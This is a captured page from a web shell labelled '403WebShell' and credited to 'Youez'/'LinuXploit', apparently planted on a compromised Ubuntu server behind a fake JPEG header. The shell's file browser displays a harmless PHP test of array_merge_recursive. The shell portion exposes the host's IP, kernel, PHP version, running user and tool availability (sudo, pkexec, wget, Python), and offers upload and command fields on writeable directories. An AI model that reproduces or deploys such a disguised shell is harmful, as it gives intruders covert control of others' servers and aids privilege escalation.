????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.170
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/b8009/php-5.6.22/ext/standard/tests/array/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/b8009/php-5.6.22/ext/standard/tests/array/array_merge_recursive_variation9.phpt
--TEST--
Test array_merge_recursive() function : usage variations - common key and value(Bug#43559)
--FILE--
<?php
/* Prototype  : array array_merge_recursive(array $arr1[, array $...])
 * Description: Recursively merges elements from passed arrays into one array
 * Source code: ext/standard/array.c
*/

/*
 * Testing the functionality of array_merge_recursive() by passing 
 * arrays having common key and value.
*/

echo "*** Testing array_merge_recursive() : arrays with common key and value ***\n";

/* initialize the array having duplicate values */

// integer values
$arr1 = array("a" => 1, "b" => 2);
$arr2 = array("b" => 2, "c" => 4);
echo "-- Integer values --\n";
var_dump( array_merge_recursive($arr1, $arr2) );

// float values
$arr1 = array("a" => 1.1, "b" => 2.2);
$arr2 = array("b" => 2.2, "c" => 3.3);
echo "-- Float values --\n";
var_dump( array_merge_recursive($arr1, $arr2) );

// string values
$arr1 = array("a" => "hello", "b" => "world");
$arr2 = array("b" => "world", "c" => "string");
echo "-- String values --\n";
var_dump( array_merge_recursive($arr1, $arr2) );

// boolean values
$arr1 = array("a" => true, "b" => false);
$arr2 = array("b" => false);
echo "-- Boolean values --\n";
var_dump( array_merge_recursive($arr1, $arr2) );

// null values
$arr1 = array( "a" => NULL);
$arr2 = array( "a" => NULL);
echo "-- Null values --\n";
var_dump( array_merge_recursive($arr1, $arr2) );

echo "Done";
?>
--EXPECTF--
*** Testing array_merge_recursive() : arrays with common key and value ***
-- Integer values --
array(3) {
  ["a"]=>
  int(1)
  ["b"]=>
  array(2) {
    [0]=>
    int(2)
    [1]=>
    int(2)
  }
  ["c"]=>
  int(4)
}
-- Float values --
array(3) {
  ["a"]=>
  float(1.1)
  ["b"]=>
  array(2) {
    [0]=>
    float(2.2)
    [1]=>
    float(2.2)
  }
  ["c"]=>
  float(3.3)
}
-- String values --
array(3) {
  ["a"]=>
  string(5) "hello"
  ["b"]=>
  array(2) {
    [0]=>
    string(5) "world"
    [1]=>
    string(5) "world"
  }
  ["c"]=>
  string(6) "string"
}
-- Boolean values --
array(2) {
  ["a"]=>
  bool(true)
  ["b"]=>
  array(2) {
    [0]=>
    bool(false)
    [1]=>
    bool(false)
  }
}
-- Null values --
array(1) {
  ["a"]=>
  array(2) {
    [0]=>
    NULL
    [1]=>
    NULL
  }
}
Done

Youez - 2016 - github.com/yon3zu
LinuXploit